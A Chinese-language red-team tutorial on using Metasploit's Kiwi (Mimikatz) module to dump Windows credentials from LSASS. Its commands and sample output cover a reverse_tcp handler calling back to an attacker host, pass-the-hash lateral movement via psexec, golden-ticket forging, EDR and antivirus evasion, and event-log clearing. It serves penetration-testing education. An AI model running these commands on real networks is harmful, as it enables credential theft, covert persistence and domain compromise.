Metasploit Kiwi模块实战:内网渗透中的凭据提取与横向移动
1. 项目概述:当Metasploit遇上Mimikatz
在红队评估或渗透测试的后期,特别是进入内网之后,我们常常会遇到一个核心问题:如何将已获取的立足点,转化为对目标网络更深层次的控制权?权限维持和横向移动是绕不开的话题,而这一切的起点,往往就是获取那些存储在内存或系统中的明文凭据。提到凭据提取,Mimikatz几乎是所有安全从业者脑海中第一个蹦出来的名字。它功能强大,但作为独立工具,在复杂的、有防护的内网环境中直接使用,有时会显得“动静”太大,容易被终端安全软件(EDR/AV)盯上,并且需要手动上传、执行,流程繁琐。
这时,Metasploit框架的价值就凸显出来了。它不仅仅是一个漏洞利用工具集,更是一个完整的渗透测试平台。而Kiwi模块,正是Metasploit将Mimikatz的核心功能“无缝集成”进来的典范。简单来说,Kiwi模块允许你直接在已建立的Meterpreter会话中,加载并执行Mimikatz的功能,无需将独立的Mimikatz可执行文件上传到目标机器。这种集成带来了几个显著优势:首先是隐蔽性,操作在内存中完成,减少了磁盘写入和进程创建行为;其次是便利性,所有命令都在Meterpreter的交互式环境中完成,支持Tab补全,体验流畅;最后是稳定性,Kiwi模块经过了框架的封装和测试,与Meterpreter的迁移、注入等功能结合得更紧密。
因此,掌握Kiwi模块的实战应用,是内网渗透测试工程师从“能打点”到“能控网”的关键一步。它让你能在一个受控的、相对隐蔽的环境下,高效地完成凭据窃取、哈希传递、黄金票据制作等高阶攻击动作。无论你是正在学习Metasploit的网络安全新手,还是希望优化自己内网横向流程的老手,深入理解Kiwi模块的每一个细节都至关重要。接下来,我将以一个完整的实战视角,带你拆解Kiwi模块的核心功能、使用技巧以及那些只有踩过坑才知道的注意事项。
2. Kiwi模块的核心功能与前置条件解析
2.1 Kiwi模块能做什么:不止于抓密码
很多初学者对Kiwi模块的理解停留在“抓密码”的层面,这大大低估了它的能力。Kiwi模块本质上是Mimikatz在Metasploit中的接口,因此它继承了Mimikatz绝大部分的核心功能。我们可以将其能力分为几个层次:
第一层:凭据提取。这是最基本也是最常用的功能。它可以从LSASS进程的内存中提取当前登录用户的明文密码、NTLM哈希、Kerberos票据等。命令如creds_all会尝试提取所有能获取的凭据。这是横向移动的“弹药库”。
第二层:票据操作。在内网Kerberos认证环境中,票据(Ticket)就是通行证。Kiwi模块可以列出当前缓存的Kerberos票据(kerberos_ticket_list),导出这些票据(kerberos_ticket_use),甚至可以伪造黄金票据(Golden Ticket)和白银票据(Silver Ticket)。伪造黄金票据需要域控的KRBTGT账户的NTLM哈希,这通常是在获取域控权限后的终极权限维持手段。
第三层:SAM与LSA交互。除了内存,Kiwi还能与系统的安全账户管理器(SAM)和本地安全机构(LSA)交互。例如,lsa_dump_sam可以尝试转储本地SAM数据库中的用户哈希(虽然在高版本Windows上默认加密),而lsa_dump_secrets则尝试获取LSA中存储的域缓存凭据、服务账户密码等敏感信息。
第四层:Pass-the-Hash & Pass-the-Ticket。Kiwi模块不仅提取凭据,还能直接利用它们。pth命令支持传递哈希攻击,让你无需明文密码,仅凭NTLM哈希就能在网络上验证身份。结合Metasploit的exploit/windows/smb/psexec模块,可以快速实现横向移动。
理解这些功能层级,有助于你在实战中根据不同的场景和目标,选择最合适、最隐蔽的攻击路径,而不是一上来就执行creds_all这种可能触发告警的全量抓取。
2.2 成功加载Kiwi模块的关键前提
Kiwi模块功能强大,但并非在任何Meterpreter会话中都能直接使用。它有一系列严格的前置条件,忽略这些条件往往是新手操作失败的首要原因。
权限要求:系统权限(SYSTEM)。这是最核心、最硬性的要求。因为Kiwi需要与LSASS进程交互,而LSASS进程受PPL(受保护进程)等机制保护,只有SYSTEM权限才能进行所需的内存读取操作。如果你的Meterpreter会话是Administrator权限,你需要先将其提升至SYSTEM。常用方法有:
getsystem命令:Meterpreter内置的命令,会尝试多种技术(如命名管道模拟)进行提权。这是首选。- 迁移到具有SYSTEM权限的进程:例如,使用
ps命令查找类似services.exe,lsass.exe(本身可能受PPL保护,迁移可能失败),winlogon.exe等系统进程,然后使用migrate命令将会话迁移过去。迁移到services.exe通常是个稳定选择。
进程架构匹配:x64会话加载x64的Kiwi。如果你的目标系统是64位的Windows,而你获得的Meterpreter负载(payload)是32位的(如windows/meterpreter/reverse_tcp),那么你加载的Kiwi也必须是32位版本(kiwi)。在64位系统上,32位的Meterpreter运行在WOW64子系统下,它只能加载32位的扩展。虽然可以工作,但可能无法访问64位LSASS进程的全部内存空间,导致凭据提取不完整。最佳实践是:针对64位系统,尽量使用64位的Meterpreter负载(如windows/x64/meterpreter/reverse_tcp),然后加载64位的Kiwi扩展(load kiwi)。你可以通过Meterpreter的sysinfo命令查看系统架构。
会话稳定性与注入方式。Kiwi模块需要向目标进程注入代码。如果会话本身不稳定(例如,通过一个脆弱的Web漏洞获得的反弹shell),加载复杂的扩展可能导致会话崩溃。此外,某些EDR对进程注入行为监控严格。在高度敏感的环境中,可能需要结合migrate命令,先将会话迁移到一个更“清白”、更稳定的宿主进程(如notepad.exe,由你手动在目标上启动),然后再加载Kiwi,这有时能绕过一些基于父进程关系的检测。
注意:在实战中,如果
load kiwi失败,请首先检查权限是否为NT AUTHORITY\SYSTEM,其次检查会话架构。错误信息通常是明确的,如 “Requires meterpreter to be running as SYSTEM” 就直指权限问题。
3. Kiwi模块实战操作全流程解析
3.1 环境搭建与会话获取
假设我们已经通过某种方式(例如,利用一个MS17-010漏洞)获得了一台内网Windows服务器(192.168.1.10)的初始立足点。我们使用一个64位的Meterpreter反向TCP负载。
首先,在Metasploit中配置监听:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.5 # 你的攻击机IP set LPORT 4444 exploit -j当目标执行我们的恶意程序后,我们获得了一个Meterpreter会话session 1。
第一步,检查并提升权限:
sessions -i 1 meterpreter > getuid Server username: WIN-7A9ABCD123\Administrator # 当前是Administrator,需要提权到SYSTEM meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEMgetsystem成功,现在我们拥有了SYSTEM权限。
第二步,检查系统信息并加载Kiwi:
meterpreter > sysinfo Computer : WIN-7A9ABCD123 OS : Windows 2016+ (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : CORP Logged On Users : 3 Meterpreter : x64/windows # 确认是x64系统,且Meterpreter是x64架构,完美匹配。 meterpreter > load kiwi Loading extension kiwi... .#####. mimikatz 2.2.0 20191125 (x64/windows) .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ Success.看到Mimikatz的标志性ASCII艺术和“Success”提示,说明Kiwi模块加载成功。现在,我们可以使用help命令查看所有新增的Kiwi命令。
3.2 核心凭证提取操作详解
加载Kiwi后,我们拥有了一个以kiwi_为前缀的命令集。最常用的命令是creds_all,但它内部其实调用了多个子功能。我们来分解执行:
meterpreter > kiwi_creds_all [+] Running as SYSTEM [*] Retrieving all credentials [*] 从内存中提取明文密码... [Host] : WIN-7A9ABCD123 / [Username] : Administrator / [Password] : P@ssw0rd123! [Host] : WIN-7A9ABCD123 / [Username] : CORP\sql_svc / [Password] : SQL_Service_P@ss2024 [*] 从内存中提取NTLM哈希... [Host] : WIN-7A9ABCD123 / [Username] : Administrator / [NTLM] : 579da618cfbfa85247acf1f800a280a4 [Host] : WIN-7A9ABCD123 / [Username] : CORP\sql_svc / [NTLM] : 2c7a4b10c9272b0b3b3b3b3b3b3b3b3b [*] 尝试从LSA Secrets中提取信息... ... (可能输出缓存的域密码、服务账户密码等) ...这是一个理想情况,我们拿到了两个用户的明文密码和NTLM哈希。这立刻为我们提供了横向移动的资本。但实战中往往没那么顺利。
场景一:只抓到哈希,没有明文。从Windows 8.1/Server 2012 R2开始,微软默认禁用了WDigest凭据缓存,这意味着除非通过注册表手动开启,否则LSASS中不会存储明文密码。这时creds_all可能只输出NTLM哈希。别灰心,NTLM哈希对于“哈希传递”(Pass-the-Hash)攻击同样有效。你可以使用kiwi_pth命令来利用它,或者将其保存下来,用于其他模块如psexec。
场景二:需要更细致的提取。creds_all是聚合命令。有时我们需要针对性操作:
kiwi_cmd sekurlsa::logonpasswords:这是直接执行Mimikatz的sekurlsa::logonpasswords命令,是creds_all的核心,输出更原始的信息。kiwi_cmd sekurlsa::tickets /export:导出所有Kerberos票据为.kirbi文件,这些文件可以用于票据传递攻击。kiwi_cmd lsadump::sam:尝试转储本地SAM数据库。在域成员服务器上,这通常只有本地用户。对于域控,此命令可以获取域内所有用户的哈希(需要更高的权限和条件)。
一个关键技巧:使用kiwi_cmd命令可以直接运行任何Mimikatz支持的命令,这给了你最大的灵活性。例如,如果你想使用Mimikatz的dpapi模块解密Chrome浏览器的密码,理论上可以通过kiwi_cmd dpapi::chrome来尝试(但需要将相关文件下载到攻击机处理,过程复杂)。
3.3 横向移动与权限维持实战
拿到凭据后,内网的大门才算真正打开。我们以获取的CORP\sql_svc账户的NTLM哈希为例,演示横向移动。
方法一:使用Kiwi内置的PTH功能。
meterpreter > kiwi_pth -u CORP\sql_svc -H 2c7a4b10c9272b0b3b3b3b3b3b3b3b3b -f这个命令会在当前Meterpreter会话所在的主机上,使用指定的哈希创建一个新的登录令牌。之后,如果你在该会话中使用shell进入命令行,或者使用net use等需要网络认证的命令,就会自动使用CORP\sql_svc的身份。但注意,这个令牌是“本地”的,主要用于访问网络共享(如\\192.168.1.20\c$)。
方法二:使用Metasploit的PsExec模块进行横向移动。这是更常用、更直接的方式。
meterpreter > background [*] Backgrounding session 1... msf6 exploit(multi/handler) > use exploit/windows/smb/psexec msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.1.20 # 目标内网另一台机器 msf6 exploit(windows/smb/psexec) > set SMBUser CORP\sql_svc msf6 exploit(windows/smb/psexec) > set SMBPass 2c7a4b10c9272b0b3b3b3b3b3b3b3b3b # 这里是NTLM哈希,不是密码 msf6 exploit(windows/smb/psexec) > set SMBDomain CORP msf6 exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/psexec) > set LHOST 192.168.1.5 msf6 exploit(windows/smb/psexec) > set LPORT 5555 # 使用新端口,避免冲突 msf6 exploit(windows/smb/psexec) > exploit如果目标主机(192.168.1.20)的445端口开放,并且账户CORP\sql_svc有管理员权限(或SMB共享写入权限),那么PsExec模块会利用该哈希进行认证,上传并执行Payload,从而为我们返回一个新的Meterpreter会话。这样,我们就成功从“主机A”跳转到了“主机B”。
权限维持:制作黄金票据。假设我们通过后续渗透,最终拿下了域控(DC),并抓取到了域控中KRBTGT账户的NTLM哈希。这是制作黄金票据的“万能钥匙”。我们可以回到最初那台有SYSTEM权限的会话,使用Kiwi制作黄金票据。
meterpreter > load kiwi meterpreter > kiwi_cmd golden /user:Administrator /domain:corp.com /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:579da...(KRBTGT的NTLM哈希) /ptt这条命令会生成一张伪造的、属于域管理员Administrator的黄金票据,并自动将其注入到当前进程的内存中(/ptt参数)。注入后,当前会话在访问域内任何资源时,都将被视为域管理员,有效期通常长达10年。这是一种极其隐蔽的后门方式,因为攻击行为不再依赖于某个具体账户的密码,而是依赖于域本身的Kerberos认证体系。
4. 高级技巧、隐蔽性与对抗策略
4.1 绕过内存扫描与模块化加载
现代EDR对LSASS进程的内存扫描非常严格。直接调用sekurlsa::logonpasswords这类函数,很容易触发基于API钩子(Hook)或内存特征码的检测。Kiwi/Mimikatz也在不断进化以绕过这些检测。
技巧一:使用kiwi_cmd的-d调试器分离模式。某些EDR会监控对LSASS的特定API调用。使用-d参数可以让Mimikatz以“调试”方式附加到LSASS,这可能使用不同的底层路径来读取内存,有时能绕过简单的API Hook。命令如kiwi_cmd -d sekurlsa::logonpasswords。但这并非总有效,且调试器行为本身也可能被检测。
技巧二:使用Mimikatz的“迷你”或定制化模块。完整的Mimikatz功能太多,特征明显。在高度敏感的环境中,可以考虑只编译或使用你需要的特定功能模块。通过kiwi_cmd,你理论上可以调用任何有效的Mimikatz命令。例如,如果你只需要哈希,可以只使用kiwi_cmd sekurlsa::msv。减少“曝光”的功能,也就减少了被特征匹配的机会。
技巧三:进程迁移与内存操作分离。一个高级策略是:在一个会话(会话A)中,使用Kiwi的kiwi_cmd配合sekurlsa::logonpasswords的“/export”参数,将凭据或票据导出到文件。然后,在另一个已经迁移到某个“清白”用户进程(如记事本)的会话(会话B)中,读取该文件并进行后续的PTH或PTT操作。这样,凭据提取这个最敏感的操作发生在SYSTEM权限的会话,而实际的横向移动操作则从一个看起来正常的用户进程发起,增加了防御方溯源和关联的难度。
4.2 日志清理与痕迹擦除
在渗透测试中,清理痕迹是基本素养。Kiwi模块本身也提供了一些辅助功能,但需谨慎使用。
- 事件日志清理:可以使用Meterpreter自带的
clearev命令清除Windows事件日志(安全、系统、应用程序)。但请注意,在域环境中,安全日志可能被实时同步到SIEM(安全信息和事件管理)系统,本地删除是无效的,反而会留下一个“日志被清除”的告警事件(事件ID 1102)。 - Mimikatz执行痕迹:Mimikatz在内存中运行,理论上不会在磁盘留下.exe文件。但系统可能因为异常操作(如崩溃转储)将部分内存写入磁盘。更常见的痕迹在于Windows的日志记录了对LSASS进程的访问。安全日志中的事件ID 4663(尝试访问对象)和10(进程访问)可能会记录这些行为。Kiwi无法直接删除这些日志条目。因此,真正的“隐蔽”在于从一开始就避免触发高置信度告警,而不是事后清理。
因此,一个更务实的建议是:在测试开始前,与客户明确测试范围和时间窗口。在测试过程中,优先采用那些被评估为“低噪音”的技术。例如,如果目标环境EDR很强,或许优先考虑使用合法的远程管理工具(如PSExec的官方Sysinternals版本)配合窃取的凭据进行移动,而不是使用Metasploit的psexec模块,因为后者生成的流量和进程模式可能更有特征。
4.3 与Metasploit其他模块的协同作战
Kiwi模块不是孤立的,它与Metasploit框架的其他部分可以形成强大的组合拳。
与Post模块结合:Metasploit有大量的后渗透(Post)模块。在获取凭据后,可以自动运行这些模块进行深度信息收集。例如:
meterpreter > run post/windows/gather/enum_domain meterpreter > run post/windows/gather/enum_shares这些模块会自动利用当前会话的令牌(可能是你通过Kiwi进行PTH后的令牌)来收集域信息、网络共享等,为下一步攻击指明方向。
与漏洞扫描器结合:将抓取到的本地管理员密码哈希,导入到Metasploit的Credential库中。然后使用
auxiliary/scanner/smb/smb_login等模块,对内网IP段进行批量SMB登录测试,快速找出使用相同本地管理员密码的机器(“密码喷洒”或“横向密码复用”)。会话管理与跳板:通过Kiwi在内网多台机器上建立Meterpreter会话后,可以利用Metasploit的
socks_proxy模块搭建一个SOCKS4a代理,再配合Proxychains等工具,让你的其他扫描器(如Nmap、Hydra)也能通过这个代理通道进入内网,实现“一跳通全网”。
5. 常见问题排查与实战心得
5.1 典型错误与解决方案速查表
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
load kiwi失败,提示“Requires meterpreter to be running as SYSTEM” | 当前会话权限不足。 | 使用getsystem命令提权,或迁移到SYSTEM权限的进程(如services.exe)。 |
load kiwi失败,提示“不匹配的架构”或加载后命令无效。 | Meterpreter负载架构与系统或Kiwi扩展不匹配。 | 检查sysinfo中的Architecture。对64位系统,使用windows/x64/meterpreter/...负载。确保加载的是正确的Kiwi(64位系统用load kiwi,32位系统理论上也兼容,但64位更佳)。 |
kiwi_creds_all执行后无输出,或只输出部分信息。 | 1. WDigest未启用,无明文密码。 2. LSASS进程受PPL(Windows 10/2016+)或Credential Guard保护。 3. EDR已拦截内存读取操作。 | 1. 正常现象,关注NTLM哈希输出。 2. 尝试使用 migrate到受保护更弱的进程后再执行,或尝试使用kiwi_cmd的-d参数。对抗PPL需要更高阶技术(如驱动加载)。3. 尝试更隐蔽的方法,如使用 kiwi_cmd调用特定子功能,或转用其他凭据提取方法(如DLL注入到非保护进程读取LSASS内存)。 |
kiwi_pth执行成功,但后续访问网络共享失败。 | 1. 目标主机防火墙阻止了SMB端口(445)。 2. 当前令牌未应用于新创建的进程。 3. 账户权限不足(非目标机器的管理员)。 | 1. 检查网络连通性和防火墙规则。 2. 在 kiwi_pth后,务必使用shell命令打开一个新的命令行窗口,新窗口会继承令牌。或者使用net use等命令测试。3. 确认使用的账户在目标机器上有足够的权限。 |
| 使用PsExec模块横向移动失败。 | 1. 目标IP或端口错误。 2. 使用的凭据(哈希)错误或权限不足。 3. 目标系统防火墙阻止PsExec所需的端口和协议。 4. 目标上的防病毒软件拦截了PsExec的二进制文件或行为。 | 1. 仔细核对RHOSTS。 2. 核对SMBUser、SMBPass(是哈希)、SMBDomain。尝试使用其他账户。 3. 尝试使用其他横向移动方法,如WMI( exploit/windows/local/wmi)、WinRM(exploit/windows/winrm/winrm_script_exec)。4. 尝试对Payload进行编码或使用模板注入等技术绕过静态查杀。 |
5.2 来自实战的几点核心心得
顺序很重要:权限 > 架构 > 加载。在尝试任何Kiwi操作前,养成习惯:先
getuid确认是SYSTEM,再sysinfo确认架构,最后load kiwi。这个顺序能避免90%的加载问题。“抓不到明文”不等于失败。在内网渗透中,NTLM哈希的价值很多时候等同于明文密码,尤其是在启用了SMB签名或特定服务仅接受NTLM认证的环境中。不要因为没有看到明文密码就停止行动,哈希传递(PTH)是更常见、更经典的横向移动手段。
票据(Ticket)有时比密码更有用。在纯Kerberos认证的环境中(如访问域内Web应用、数据库),一张有效的TGS(服务票据)可以直接让你访问资源,而无需知道密码或哈希。因此,在执行
creds_all后,务必关注是否有票据被导出(.kirbi文件),并学会使用kiwi_cmd kerberos::ptt来注入票据。理解上下文,选择最小化命令。不要总是无脑运行
kiwi_creds_all。如果你已经通过其他方式知道了某个服务账户的密码,并且只想获取它的哈希,可以尝试更具体的命令,如kiwi_cmd sekurlsa::msv来减少在目标系统上的“动作”和日志产生量。在对抗性强的环境中,每一个操作都要有明确的目的。Kiwi是利器,但不是银弹。它高度依赖于对LSASS进程的访问。随着微软不断加固安全(Credential Guard, PPL, LSA保护等),以及EDR产品的普及,传统的LSASS内存转储变得越来越困难。作为渗透测试者,必须了解这些缓解措施,并准备备用方案,例如:利用SAM和SYSTEM注册表单元离线提取本地哈希,利用DPAPI解密用户存储的凭据,或者利用松散的域配置发起Kerberoasting攻击等。Kiwi模块是内网渗透武器库中的核心装备,但一个成熟的测试者,武器库必须是丰富且与时俱进的。
